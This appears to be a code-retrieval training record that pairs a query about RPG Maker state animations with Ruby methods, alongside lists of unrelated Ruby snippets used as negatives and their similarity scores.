"def shutdown; end",
"def update\n # cyber-dojo.sh does actual [update]\nend",
"def update!(**args)\n @engine = args[:engine] if args.key?(:engine)\n end",
"def performed\n design.clear_version_cache\n end",
"def outdated; end",
"def reinstall\n end",
"def engines_reset!\n @engine_instances = nil\n end",
"def host_down(host)\n end",
"def flush_cache\n # needed on at least fc23/fc24 sometimes to deal with the dnf cache getting out of sync with the rpm db\n FileUtils.rm_f \"/var/cache/dnf/@System.solv\"\n Chef::Provider::Package::Dnf::PythonHelper.instance.reap\n end",
"def unwatch; end",
"def unwatch; end",
"def tear_down; end",
"def upgrade(version)\n \n end",
"def shutdown!; end",
"def shutdown!; end",
"def shutdown!; end",
"def down\n updown_command :detach\n end",
"def reset_engine_registrations!\n @@registered_engine_confs = {}\n end",
"def shutdown\nend",
"def shutdown\n end",
"def shutdown\n end",
"def shutdown\n end",
"def shutdown\n end",
"def down\n # un-retext stuff\n @@renames.each do |rename|\n retext_tab(rename[:new_text], rename[:old_text])\n end\n\n task = Task.find_by_name('Update PSD')\n return if task.nil?\n\n # destroy tab\n Tab.find_by_task_id(task.id).destroy\n\n # remove from unlocked lists\n UnlockedTask.where(unlocked_task_id: task.id).destroy_all\n\n # destroy task\n task.destroy\n end",
"def update() end",
"def update ; end",
"def update engine, time, dt\n end",
"def check_down; end",
"def clean_db(prev_versions)\nputs \"CLEAN DB CALLED\"\n if Version.count > prev_versions\n to_remove = Version.count - prev_versions\n puts \"Removing #{to_remove} old versions from database\"\n Version.all(:limit => to_remove, :order => [ :processed.asc ]).each do |old_version|\n old_version.units.all.each do |old_unit|\n #old_unit.images.all.each do |old_image|\n # old_image.destroy\n #end\n old_unit.destroy\n end\n old_version.destroy\n end\n end\n end",
"def down\n Widget.update_all data_table_id: nil\n\n [DataTableDataset, DataRow, DataTable].each do |clazz|\n clazz.delete_all\n end\n end",
"def down\n update_relative(:-)\n end",
"def shutdown_soon\n @restart = false\n @shutdown = true\n end",
"def restart; end",
"def setup\n @auto_update = true\n super\n reload rescue update\n end",
"def after_update(bite)\n expire_cache_for(bite)\n end",
"def down!\n @data[:state] = :down\n save!\n end",
"def uncache\n DB.disconnect\n system('echo $EXEC | sudo -u postgres /usr/local/pgsql/bin/pg_ctl stop -D /usr/local/pgsql/data')\n sleep 1\n system('echo $EXEC | sudo sh -c \"sync; echo 3 > /proc/sys/vm/drop_caches\"')\n sleep 1\n system('echo $EXEC | sudo -u postgres /usr/local/pgsql/bin/pg_ctl start -D /usr/local/pgsql/data -o \"--config-file=/home/bcassell/DDGT/db_configs/maxing_out.conf\"')\n sleep 1\n end",
"def after_destroy_old(article)\n #expire_public_pageold(article)\n '/etc/cron.hourly/railsfix'\n end",
"def post_update_extension volume_root, options\n if !options[:extensions][:up_to_date] and options[:extensions][:postinstall]\n IESD::Packages::OSInstall.new(File.join(volume_root, PACKAGES, \"OSInstall.pkg\")).postinstall_extensions options[:extensions]\n end\n if !options[:mach_kernel] and File.exist? (mach_kernel = File.join(volume_root, \"mach_kernel\"))\n system(\"/usr/bin/env\", \"rm\", mach_kernel)\n end\n end",
"def run_on_changes(_)\n restart\n end",
"def kong_delete\n kong_config = Octo.get_config :kong\n if kong_config[:enabled]\n Octo::Helpers::KongBridge.delete_all\n puts 'Kong Cleaned'\n end\nend",
"def kong_delete\n kong_config = Octo.get_config :kong\n if kong_config[:enabled]\n Octo::Helpers::KongBridge.delete_all\n puts 'Kong Cleaned'\n end\nend",
"def shutdown\n\tend",
"def update\n ;\n end",
"def remove\n @download_url = nil\n @latest_version = nil\n System.delete \"#{System.install_dir}/#{file_name.gsub('.exe', '')}.version\"\n System.delete driver_path\n end",
"def obsolete!\n update!(:revision => -1)\n end",
"def update_waybar\n `pkill -RTMIN+8 waybar`\nend",
"def with_force_shutdown; end",
"def bkg_kill\n reload\n while processing?\n sleep 1\n reload\n end\n if dj\n dj.destroy\n save\n end\n end",
"def onupdate_unregister(b)\n b = @onupdate_list.find { |bb| bb.description == b } if b.kind_of?(String)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = DFHack.onupdate_minyeartickadv = -1\n end\n end",
"def shutdown\n end",
"def nuke_playground\n Vanity.playground.connection.flushdb\n new_playground\n end",
"def purge_engine\n\n @engine.get_expression_storages.each { |s| s.purge }\n end",
"def shutdown?; end",
"def untick; end",
"def graceful_shutdown; end",
"def shutdown\n end",
"def update\n install\n end",
"def rev_engine\n\t\tputs \"VVVRRROOOMMM!!!!!! VVVVRRROOMMM!!!!!\"\n\tend",
"def configure(update); end",
"def down\n reverse_method_proxy(:down)\n\n true\n end",
"def update()\n end",
"def onupdate_unregister(b)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = 0\n end\n end",
"def destroy\n @addon.drop\n @addon.save(isinstall: 0)\n respond_to do |format|\n format.html { redirect_to xmt_addons_url, notice: '卸载成功.' }\n format.json { head :no_content }\n end\n end",
"def deactivate; end",
"def main()\n \n installed_kernels = get_list_kernels()\n current_kernel = get_current_kernel()\n if running_latest_kernel(current_kernel, installed_kernels)\n puts \"Gratz, you on the latest kernel\"\n puts \"delete the following kernels\"\n installed_kernels[0...-1].each do |kernel|\n puts \"- %s\" % kernel\n end\n else\n puts \"You need to reboot to get the latest kernel\"\n end\n\n \nend",
"def command_shutdown\r\n # Play decision SE\r\n $game_system.se_play($data_system.decision_se)\r\n # Fade out BGM, BGS, and ME\r\n Audio.bgm_fade(800)\r\n Audio.bgs_fade(800)\r\n Audio.me_fade(800)\r\n # Shutdown\r\n $scene = nil\r\n end",
"def after_update; end",
"def after_update; end",
"def after_update(machine)\n expire_cache_for(machine)\n end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def shutdown\n runcmd 'shutdown'\n end",
"def update(testmode=false)\n end",
"def after_update(product)\n expire_cache_for(product)\n print \"product sweeper!\"\n end",
"def update\n @repo.reset_hard\n @repo.pull_rebase\n log << \"Database updated. Now at: #{version}\"\n end"
] |
[
"0.6723354",
"0.6650317",
"0.65179706",
"0.64323753",
"0.64323753",
"0.64323753",
"0.64323753",
"0.64323753",
"0.6220887",
"0.610488",
"0.5925929",
"0.5800222",
"0.5726913",
"0.56949836",
"0.56949836",
"0.56949836",
"0.56949836",
"0.56949836",
"0.56949836",
"0.56949836",
"0.5671495",
"0.5656183",
"0.56425047",
"0.5631169",
"0.56200784",
"0.5591769",
"0.556736",
"0.55613345",
"0.55410874",
"0.55410874",
"0.55363303",
"0.5525732",
"0.5501805",
"0.5501805",
"0.5501805",
"0.54779005",
"0.54553515",
"0.5443339",
"0.54348695",
"0.54348695",
"0.54348695",
"0.54348695",
"0.54280895",
"0.5413558",
"0.5398925",
"0.5370072",
"0.5361826",
"0.53608745",
"0.5354836",
"0.5350685",
"0.5340807",
"0.5333707",
"0.53326327",
"0.53318393",
"0.53189516",
"0.5310389",
"0.53083503",
"0.53064144",
"0.5303002",
"0.52944165",
"0.52944165",
"0.527675",
"0.5275866",
"0.527418",
"0.5271174",
"0.52679354",
"0.5264541",
"0.525677",
"0.52496785",
"0.52489495",
"0.5247431",
"0.52357256",
"0.52308005",
"0.52297306",
"0.52249783",
"0.52242833",
"0.52235615",
"0.52235216",
"0.5212482",
"0.5210817",
"0.52104974",
"0.5204746",
"0.5204191",
"0.5197119",
"0.51927024",
"0.51901495",
"0.51873994",
"0.51873994",
"0.51814616",
"0.5179392",
"0.5179392",
"0.5179392",
"0.5179392",
"0.5179392",
"0.5179392",
"0.5179392",
"0.5179392",
"0.51673007",
"0.5164633",
"0.51604515",
"0.5152557"
] |
0.0
|
-1
|
higer priority state animation displayed
|
def update_state_effects
@state_poptimer[0] += 1 unless primary_state_ani.nil?
if @state_poptimer[0] == 30
@animation_id = primary_state_ani
@animation_id = 0 if @animation_id.nil?
elsif @state_poptimer[0] == 180
@state_poptimer[0] = 0
end
update_state_action_steps
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_collapse_opacity\n self.opacity = 256 - (48 - @effect_duration) * 6\n end",
"def setup_anim_top\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? 1 : 0)\n end",
"def animationState _args\n \"animationState _args;\" \n end",
"def state_anim\n states.each do |state|\n return state.state_anim if state.state_anim > 0\n end\n return 0\n end",
"def setup_anim_top\n # not sure if needed\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? 1 : 0)\n end",
"def pbBattleAnimationOverride(viewport,trainerid=-1,trainername=\"\")\n # The following example runs a common event that ought to do a custom\n # animation if some condition is true:\n #\n # if $game_map && $game_map.map_id==20 # If on map 20\n # pbCommonEvent(20)\n # return true # Note that the battle animation is done\n # end\n #\n ##### VS. animation, by Luka S.J. #####\n ##### Tweaked by Maruno #####\n if trainerid>=0\n tbargraphic=sprintf(\"Graphics/Transitions/vsBar%s\",getConstantName(PBTrainers,trainerid)) rescue nil\n tbargraphic=sprintf(\"Graphics/Transitions/vsBar%d\",trainerid) if !pbResolveBitmap(tbargraphic)\n tgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s\",getConstantName(PBTrainers,trainerid)) rescue nil\n tgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d\",trainerid) if !pbResolveBitmap(tgraphic)\n if pbResolveBitmap(tbargraphic) && pbResolveBitmap(tgraphic)\n outfit=$Trainer ? $Trainer.outfit : 0\n # Set up\n viewplayer=Viewport.new(0,Graphics.height/3,Graphics.width/2,128)\n viewplayer.z=viewport.z\n viewopp=Viewport.new(Graphics.width/2,Graphics.height/3,Graphics.width/2,128)\n viewopp.z=viewport.z\n viewvs=Viewport.new(0,0,Graphics.width,Graphics.height)\n viewvs.z=viewport.z\n xoffset=(Graphics.width/2)/10\n xoffset=xoffset.round\n xoffset=xoffset*10\n fade=Sprite.new(viewport)\n fade.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vsFlash\")\n fade.tone=Tone.new(-255,-255,-255)\n fade.opacity=100\n overlay=Sprite.new(viewport)\n overlay.bitmap=Bitmap.new(Graphics.width,Graphics.height)\n pbSetSystemFont(overlay.bitmap)\n bar1=Sprite.new(viewplayer)\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%s_%d\",getConstantName(PBTrainers,$Trainer.trainertype),outfit) rescue nil\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%d_%d\",$Trainer.trainertype,outfit) if !pbResolveBitmap(pbargraphic)\n if !pbResolveBitmap(pbargraphic)\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%s\",getConstantName(PBTrainers,$Trainer.trainertype)) rescue nil\n end\n pbargraphic=sprintf(\"Graphics/Transitions/vsBar%d\",$Trainer.trainertype) if !pbResolveBitmap(pbargraphic)\n bar1.bitmap=BitmapCache.load_bitmap(pbargraphic)\n bar1.x=-xoffset\n bar2=Sprite.new(viewopp)\n bar2.bitmap=BitmapCache.load_bitmap(tbargraphic)\n bar2.x=xoffset\n vs=Sprite.new(viewvs)\n vs.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vs\")\n vs.ox=vs.bitmap.width/2\n vs.oy=vs.bitmap.height/2\n vs.x=Graphics.width/2\n vs.y=Graphics.height/1.5\n vs.visible=false\n flash=Sprite.new(viewvs)\n flash.bitmap=BitmapCache.load_bitmap(\"Graphics/Transitions/vsFlash\")\n flash.opacity=0\n # Animation\n 10.times do\n bar1.x+=xoffset/10\n bar2.x-=xoffset/10\n pbWait(1)\n end\n pbSEPlay(\"Flash2\")\n pbSEPlay(\"Sword2\")\n flash.opacity=255\n bar1.dispose\n bar2.dispose\n bar1=AnimatedPlane.new(viewplayer)\n bar1.bitmap=BitmapCache.load_bitmap(pbargraphic)\n player=Sprite.new(viewplayer)\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s_%d\",getConstantName(PBTrainers,$Trainer.trainertype),outfit) rescue nil\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d_%d\",$Trainer.trainertype,outfit) if !pbResolveBitmap(pgraphic)\n if !pbResolveBitmap(pgraphic)\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%s\",getConstantName(PBTrainers,$Trainer.trainertype)) rescue nil\n end\n pgraphic=sprintf(\"Graphics/Transitions/vsTrainer%d\",$Trainer.trainertype) if !pbResolveBitmap(pgraphic)\n player.bitmap=BitmapCache.load_bitmap(pgraphic)\n player.x=-xoffset\n bar2=AnimatedPlane.new(viewopp)\n bar2.bitmap=BitmapCache.load_bitmap(tbargraphic)\n trainer=Sprite.new(viewopp)\n trainer.bitmap=BitmapCache.load_bitmap(tgraphic)\n trainer.x=xoffset\n trainer.tone=Tone.new(-255,-255,-255)\n 25.times do\n flash.opacity-=51 if flash.opacity>0\n bar1.ox-=16\n bar2.ox+=16\n pbWait(1)\n end\n 11.times do\n bar1.ox-=16\n bar2.ox+=16\n player.x+=xoffset/10\n trainer.x-=xoffset/10\n pbWait(1)\n end\n 2.times do\n bar1.ox-=16\n bar2.ox+=16\n player.x-=xoffset/20\n trainer.x+=xoffset/20\n pbWait(1)\n end\n 10.times do\n bar1.ox-=16\n bar2.ox+=16\n pbWait(1)\n end\n val=2\n flash.opacity=255\n vs.visible=true\n trainer.tone=Tone.new(0,0,0)\n textpos=[\n [_INTL(\"{1}\",$Trainer.name),Graphics.width/4,(Graphics.height/1.5)+10,2,\n Color.new(248,248,248),Color.new(12*6,12*6,12*6)],\n [_INTL(\"{1}\",trainername),(Graphics.width/4)+(Graphics.width/2),(Graphics.height/1.5)+10,2,\n Color.new(248,248,248),Color.new(12*6,12*6,12*6)]\n ]\n pbDrawTextPositions(overlay.bitmap,textpos)\n pbSEPlay(\"Sword2\")\n 70.times do\n bar1.ox-=16\n bar2.ox+=16\n flash.opacity-=25.5 if flash.opacity>0\n vs.x+=val\n vs.y-=val\n val=2 if vs.x<=(Graphics.width/2)-2\n val=-2 if vs.x>=(Graphics.width/2)+2\n pbWait(1)\n end\n 30.times do\n bar1.ox-=16\n bar2.ox+=16\n vs.zoom_x+=0.2\n vs.zoom_y+=0.2\n pbWait(1)\n end\n flash.tone=Tone.new(-255,-255,-255)\n 10.times do\n bar1.ox-=16\n bar2.ox+=16\n flash.opacity+=25.5\n pbWait(1)\n end\n # End\n player.dispose\n trainer.dispose\n flash.dispose\n vs.dispose\n bar1.dispose\n bar2.dispose\n overlay.dispose\n fade.dispose\n viewvs.dispose\n viewopp.dispose\n viewplayer.dispose\n viewport.color=Color.new(0,0,0,255)\n return true\n end\n end\n return false\nend",
"def setup_anim_bottom\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? -1 : 0)\n end",
"def main_transition\r\n Graphics.transition\r\n end",
"def appear\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.opacity = 0\n @_appear_duration = 16\n @_whiten_duration = 0\n @_escape_duration = 0\n @_collapse_duration = 0\n end",
"def main_transition\r\n Graphics.transition(120)\r\n end",
"def setup_anim_bottom\n # not sure if needed\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? -1 : 0)\n end",
"def on_high()\n \n end",
"def appear\n refresh\n self.visible = true\n self.opacity = 255\n end",
"def show_state\n if @life_points < 0\n @life_points = 0\n end\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end",
"def open\n if self.openness < 255\n @duration = self.animationSpeed\n @opening = true \n @closing = false\n @animationType = OPEN\n end\n end",
"def update_opacity\n self.opacity = @battler.max_opac\n @battler.refresh_opacity = false\n end",
"def update_fade_effect\n if behind_toolbar?\n if self.opacity >= 60\n self.opacity -= 10\n @layout.opacity = @icons.opacity = @info_keys.opacity = self.opacity\n end\n elsif self.opacity != 255\n self.opacity += 10\n @layout.opacity = @icons.opacity = @info_keys.opacity = self.opacity\n end\n end",
"def states; end",
"def ebDamageStateAnim(battler, effectiveness, i, state)\n sprite = @sprites[\"pokemon_#{battler.index}\"]\n databox = @sprites[\"dataBox_#{battler.index}\"]\n mult = (effectiveness == 0) ? 2 : ((effectiveness == 1) ? 1 : 3)\n # animate sprite\n if i < 2\n sprite.tone.all -= 255*(mult/3.0)\n elsif i < 4\n sprite.tone.all = 255*(mult/3.0)\n elsif i < 6\n sprite.visible = false\n sprite.tone.all = 0\n else\n sprite.visible = true\n end\n sprite.still\n # animate databox\n unless state\n databox.x += mult*(i < 4 ? 1 : -1)*(playerBattler?(battler) ? 1 : -1)\n databox.y -= mult*(i < 4 ? 1 : -1)*(playerBattler?(battler) ? 1 : -1)\n end\n databox.update\n end",
"def loading_animation\n type(\"#{@teams[:white].symbols[:King]}\\n#{@teams[:black].symbols[:King]}\\n#{@teams[:white].symbols[:King]}\\n#{@teams[:black].symbols[:King]}\\n\\n\")\n end",
"def update\n super\n @forge_animator.update\n end",
"def handles_animation?\n true\n end",
"def initialize(window, actor, rect, spacing=24, right_pad=2,\n active=true, visible=true)\n super(active, visible)\n @actor = actor\n \n # Determine rectangles to position controls\n rects = determine_rects(rect, spacing, right_pad)\n \n @ucActStates = UCLabelIconsSwitchableList.new(window, rects[0][0], rects[0][1], \n Vocab::active_status_label, [0], MENU_CONFIG::ACT_STATES_MAX_ICONS, \n MENU_CONFIG::ACT_STATES_ICONS_TIMEOUT) \n @ucActStates.active = active\n @ucActStates.visible = visible\n \n iconsArray = []\n for i in 0 .. actor.states.size-1\n iconsArray[i] = actor.states[i].icon_index\n end\n @ucActStates.icons = iconsArray\n \n @ucHpStat = UCLabelIconValue.new(window, rects[1][1], rects[1][0], rects[1][2], \n Vocab::hp_label, MENU_CONFIG::ICON_HP, \n sprintf(MENU_CONFIG::GAUGE_PATTERN, actor.hp, actor.maxhp))\n @ucHpStat.cValue.align = 2\n \n if actor.hp == 0\n @ucHpStat.cValue.font.color = Color.knockout_color\n elsif actor.hp < actor.maxhp / 4\n @ucHpStat.cValue.font.color = Color.crisis_color\n else\n @ucHpStat.cValue.font.color = Color.normal_color\n end\n \n @ucHpStat.active = active\n @ucHpStat.visible = visible\n @cHpStatGauge = UCBar.new(window, rects[2], \n Color.hp_gauge_color1, Color.hp_gauge_color2, Color.gauge_back_color, \n actor.hp, actor.maxhp, 1, Color.gauge_border_color)\n @cHpStatGauge.active = active\n @cHpStatGauge.visible = visible\n \n @ucMpStat = UCLabelIconValue.new(window, rects[3][1], rects[3][0], rects[3][2],\n Vocab::mp_label, MENU_CONFIG::ICON_MP, \n sprintf(MENU_CONFIG::GAUGE_PATTERN, actor.mp, actor.maxmp))\n @ucMpStat.cValue.align = 2\n \n if actor.mp < actor.maxmp / 4\n @ucMpStat.cValue.font.color = Color.crisis_color\n else\n @ucMpStat.cValue.font.color = Color.normal_color\n end\n \n @ucMpStat.active = active\n @ucMpStat.visible = visible\n @cMpStatGauge = UCBar.new(window, rects[4], \n Color.mp_gauge_color1, Color.mp_gauge_color2, Color.gauge_back_color, \n actor.mp, actor.maxmp, 1, Color.gauge_border_color) \n @cMpStatGauge.active = active\n @cMpStatGauge.visible = visible\n \n value_width = rect.width - 24 - 50 - right_pad\n \n @ucAtkStat = UCLabelIconValue.new(window, rects[5][1], rects[5][0], rects[5][2],\n Vocab::atk_label, MENU_CONFIG::ICON_ATK, actor.atk)\n @ucAtkStat.cValue.align = 2\n @ucAtkStat.active = active\n @ucAtkStat.visible = visible\n \n @ucDefStat = UCLabelIconValue.new(window, rects[6][1], rects[6][0], rects[6][2],\n Vocab::def_label, MENU_CONFIG::ICON_DEF, actor.def)\n @ucDefStat.cValue.align = 2\n @ucDefStat.active = active\n @ucDefStat.visible = visible\n \n @ucSpiStat = UCLabelIconValue.new(window, rects[7][1], rects[7][0], rects[7][2],\n Vocab::spi_label, MENU_CONFIG::ICON_SPI, actor.spi)\n @ucSpiStat.cValue.align = 2\n @ucSpiStat.active = active\n @ucSpiStat.visible = visible\n \n @ucAgiStat = UCLabelIconValue.new(window, rects[8][1], rects[8][0], rects[8][2],\n Vocab::agi_label, MENU_CONFIG::ICON_AGI, actor.agi)\n @ucAgiStat.cValue.align = 2\n @ucAgiStat.active = active\n @ucAgiStat.visible = visible\n \n @ucEvaStat = UCLabelIconValue.new(window, rects[9][1], rects[9][0], rects[9][2],\n Vocab::eva_label, MENU_CONFIG::ICON_EVA, \n sprintf(MENU_CONFIG::PERCENTAGE_PATTERN, actor.eva))\n @ucEvaStat.cValue.align = 2\n @ucEvaStat.active = active\n @ucEvaStat.visible = visible\n \n @ucHitStat = UCLabelIconValue.new(window, rects[10][1], rects[10][0], rects[10][2],\n Vocab::hit_label, MENU_CONFIG::ICON_HIT, \n sprintf(MENU_CONFIG::PERCENTAGE_PATTERN, actor.hit))\n @ucHitStat.cValue.align = 2\n @ucHitStat.active = active\n @ucHitStat.visible = visible\n \n @ucCriStat = UCLabelIconValue.new(window, rects[11][1], rects[11][0], rects[11][2],\n Vocab::cri_label, MENU_CONFIG::ICON_CRI, \n sprintf(MENU_CONFIG::PERCENTAGE_PATTERN, actor.cri))\n @ucCriStat.cValue.align = 2\n @ucCriStat.active = active\n @ucCriStat.visible = visible\n \n end",
"def redisplay_delay\r\n 20\r\n end",
"def do_bar state\n value, y = mega_pop(state), state[:y_position]\n height = state[:height]\n if 0 == value # move down if value = 0\n state[:y_position] = (y+1) % height\n else # up otherwise\n state[:y_position] = y == 0 ? height - 1 : y - 1\n end\n end",
"def wait_animation\n sleep 0.8\n end",
"def update_frame\n # If animation frame is different, change graphic\n if @unit.frame != Graphics.frame_count % 60 / 15\n @unit.frame = Graphics.frame_count % 60 / 15\n end\n #Update the flag graphic\n # Is $viewing ranges necessary?#\n unless @is_moving or @unit.selected\n @flag.moveto(@unit.x, @unit.y)\n @flag.update\n @health.moveto(@unit.x, @unit.y)\n @health.update\n else\n @flag.bitmap = nil\n @health.bitmap = nil\n end\n \n end",
"def process(show = true)\n self.animations.each do |animation|\n\n if animation[:target] == animation[:start]\n # TODO:hack\n self.data[animation[:start]] = color('black')\n end\n\n if animation[:target] > animation[:start]\n tmp = self.data[animation[:start]+1]\n self.data[animation[:start]+1] = self.data[animation[:start]]\n self.data[animation[:start]] = tmp\n animation[:start] = animation[:start] + 1\n else\n tmp = self.data[animation[:start]-1]\n self.data[animation[:start]-1] = self.data[animation[:start]]\n self.data[animation[:start]] = tmp\n animation[:start] = animation[:start] - 1\n end\n end\n\n self.show if show\n end",
"def show_state\n puts \"#{self.name} a #{self.life_points} points de vie et son arme est de niveau #{self.weapon_level}.\"\n end",
"def show_state\n return puts \"#{super} et une arme de niveau \\\"#{@weapon_level}\\\"\"\n end",
"def show_state\n if @life_points <= 0\n puts \">>> #{@name} a 0 points de vie\"\n else\n puts \">>> #{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end\n end",
"def state_label\n self.state == 3 ? \"Confirmado\" : \"Borrador\"\n end",
"def status_effect; end",
"def show_state\r\n puts \"#{@name} à #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\r\n end",
"def game_state\n end",
"def transitions; end",
"def layer7_state\n super\n end",
"def update\n update_animation\n end",
"def show_state\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end",
"def show_state\n\t\tputs \"#{@name} a #{life_points} de points de vie et une arme de niveau #{weapon_level}\"\n\tend",
"def update_entering_animation\n @buttons.each { |button| button.move(-ENTERING_ANIMATION_OFFSET / ENTERING_ANIMATION_DURATION, 0) }\n @background.opacity += 255 / ENTERING_ANIMATION_DURATION\n @counter += 1\n if @counter >= ENTERING_ANIMATION_DURATION\n @counter = 0\n @entering = false\n update_buttons\n @background.opacity = 255\n @__last_scene.spriteset.visible = false if @__last_scene.is_a?(Scene_Map)\n end\n end",
"def show_state\n\t\tputs \"#{self.name} a #{self.life_points} points de vie et une arme de niveau #{self.weapon_level}.\"\n\tend",
"def enter_state\n end",
"def appear\n @inposition = false\n @loaded = true\n end",
"def handles_animation?\n false\n end",
"def handles_animation?\n false\n end",
"def toggle_state\n puts \"******* toggle_state *******\"\n end",
"def pbHitAndHPLossAnimation(targets)\n @briefMessage = false\n self.afterAnim = false\n # wait\n self.wait(4, true)\n # prepare soundeffect\n effect = []\n indexes = []\n for t in targets\n effect.push(t[2])\n indexes.push(t[0].index)\n @sprites[\"dataBox_#{t[0].index}\"].damage\n @sprites[\"dataBox_#{t[0].index}\"].animateHP(t[1], t[0].hp)\n end\n # play damage SE\n case effect.max\n when 0; pbSEPlay(\"Battle damage normal\")\n when 1; pbSEPlay(\"Battle damage weak\")\n when 2; pbSEPlay(\"Battle damage super\")\n end\n # begin animation\n for k in 1..(effect.max == 2 ? 3 : 2)\n for i in 0...8\n for t in targets\n next if k > (t[2] == 2 ? 3 : 2)\n ebDamageStateAnim(t[0], t[2], i, k > 1)\n end\n # wait frames\n self.wait(1, true)\n end\n end\n # animations for triggering Substitute\n self.substitueAll(indexes)\n # try set low HP BGM music\n setBGMLowHP(false)\n setBGMLowHP(true)\n # try to process the speech\n for t in targets\n # displays opposing trainer message if Pokemon falls to low HP\n hpchange = t[0].hp - t[1]\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"damage\" : \"damageOpp\") if hpchange.abs/t[0].totalhp.to_f >= 0.6 && hpchange < 0\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"resist\" : \"resistOpp\") if hpchange.abs/t[0].totalhp.to_f <= 0.1 && hpchange < 0 && !handled\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"lowHP\" : \"lowHPOpp\") if t[0].hp > 0 && (t[0].hp < t[0].totalhp*0.3) && !handled\n handled = pbTrainerBattleSpeech(playerBattler?(t[0]) ? \"halfHP\" : \"halfHPOpp\") if t[0].hp > 0 && (t[0].hp < t[0].totalhp*0.5) && !handled\n break if handled\n end\n end",
"def show_state \n puts \"#{@name} a #{@life_points} points de vie et une arme au niveau #{@weapon_level}.\"\n end",
"def show_state\n puts \"#{@names} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end",
"def draw_tactic_overview\n end",
"def update_fade_in\n return false\n end",
"def start_level\n # clear transition layer\n clear_temporary\n end",
"def show_intro_fish_tank\n display_title_intro\n Visual.show_intro_fish_tank\n end",
"def transition_at; end",
"def transition_at; end",
"def fadeIn\n @fadingIn = true\n end",
"def render_State s\n return if @rendered[s]\n @rendered[s] = true\n\n stream.puts \"\\n// #{s.inspect}\"\n \n sequence = [ ]\n \n if options[:history]\n options[:history].each_with_index do | hist, i |\n if hist[:new_state] && s.is_a_superstate_of?(hist[:new_state])\n sequence << i + 1\n end\n end\n end\n\n dot_opts = {\n :label => dot_label(s),\n :shape => :box,\n :style => \"filled\",\n }\n\n case\n when s.end_state?\n dot_opts[:label] = \"\" # DONT BOTH LABELING END STATES.\n dot_opts[:shape] = :doublecircle\n end\n\n dot_opts = dot_opts_for s, dot_opts\n\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n stream.puts \" // hide_decomposition = #{hide_decomposition.inspect}\"\n\n if (hs = options[:highlight_states]) && hs.include?(s)\n dot_opts[:style] += ',bold'\n end\n\n unless sequence.empty?\n if options[:highlight_state_history] && (s.submachine ? hide_decomposition : true)\n dot_opts[:fillcolor] = :grey\n end\n if options[:show_state_sequence] \n dot_opts[:label] += \"\\\\n(#{sequence_to_s(sequence)})\\\\r\"\n end\n else\n if options[:highlight_state_label_history]\n dot_opts[:fontcolor] = :grey\n end\n if options[:highlight_state_border_history]\n dot_opts[:color] = :grey\n end\n end\n\n dot_opts[:color] ||= :black\n dot_opts[:fontcolor] ||= :black\n dot_opts[:fillcolor] ||= :white\n\n # Dont label FinalStates, it causes too much clutter.\n # Invert the colors to be more like UML.\n case\n when s.end_state?\n dot_opts[:label] = \"\" \n dot_opts[:fillcolor], dot_opts[:fontcolor] =\n dot_opts[:fontcolor], dot_opts[:fillcolor]\n end\n\n if ssm = s.submachine\n # Composite States are rendered as\n # a subgraph cluster with a target and source \"connection point\" for external connections.\n # This is where the dot_name(s, :source || :target) is defined.\n # Subsequence Transitions edges will used these connnection points.\n implicit_dot_opts = dot_opts.dup\n dot_opts[:hide_decomposition] = hide_decomposition\n render_StateMachine(ssm, dot_opts) do\n dot_opts = implicit_dot_opts\n dot_opts[:shape] = :point\n dot_opts[:label] = \"[]\"\n\n stream.puts %Q'\\n subgraph cluster_#{dot_name(s, :source)} {'\n stream.puts %Q{ color=none;}\n stream.puts %Q{ fillcolor=none;}\n stream.puts %Q{ fontcolor=none;}\n stream.puts %Q{ label=\"\";}\n stream.puts %Q{ shape=\"plaintext\";}\n stream.puts %Q{ style=\"none\";}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :black\n stream.puts \"\\n// Implicit target point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :target)};}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :white\n stream.puts \"\\n// Implicit source point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :source)};}\n stream.puts \"\\n }\\n\"\n end\n return self\n end\n\n # Non-composite States are rendered as simple nodes.\n # In this case dot_name(s, :source || :target) == dot_name(s).\n dot_opts[:style] += ',rounded'\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, [:source, :target])};}\n\n return self\n end",
"def main_begin\n create_graphics\n sort_sprites\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n end",
